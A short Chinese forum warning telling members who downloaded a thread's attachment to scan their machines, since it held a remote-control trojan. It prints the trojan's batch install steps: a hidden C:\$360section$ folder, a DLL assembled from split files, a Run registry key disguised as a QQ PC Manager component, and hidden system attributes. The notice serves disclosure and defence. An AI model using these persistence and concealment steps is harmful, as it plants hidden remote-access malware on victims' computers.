|
|
请下载了该贴附件的会员及时杀毒!
经核查该贴附件包含远程控制木马!
木马安装过程
md C:\$360section$
copy /b "Data\Torchwood\head"+"Data\Torchwood\tale" "C:\$360section$\LuaProxy.dll"
attrib -s -h C:\$360section$\*.*
start "" Data\Order\lobaby.exe regsetval sz "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" "QQ电脑管家反馈回调组件" "C:\$360section$\Torchwood.exe"
ping -n 3 127.0.0.1>nul
start "" Data\Order\lobaby.exe execmd start "" "C:\$360section$\Torchwood.exe"
copy /y "Data\Torchwood\*.*" "C:\$360section$\"
attrib +H +S C:\$360section$\*.*
attrib +H +S C:\$360section$
该木马360,QQ管家均可查杀。
再次重申,还希望大家不要裸奔,该装的杀毒最好装上。 |
|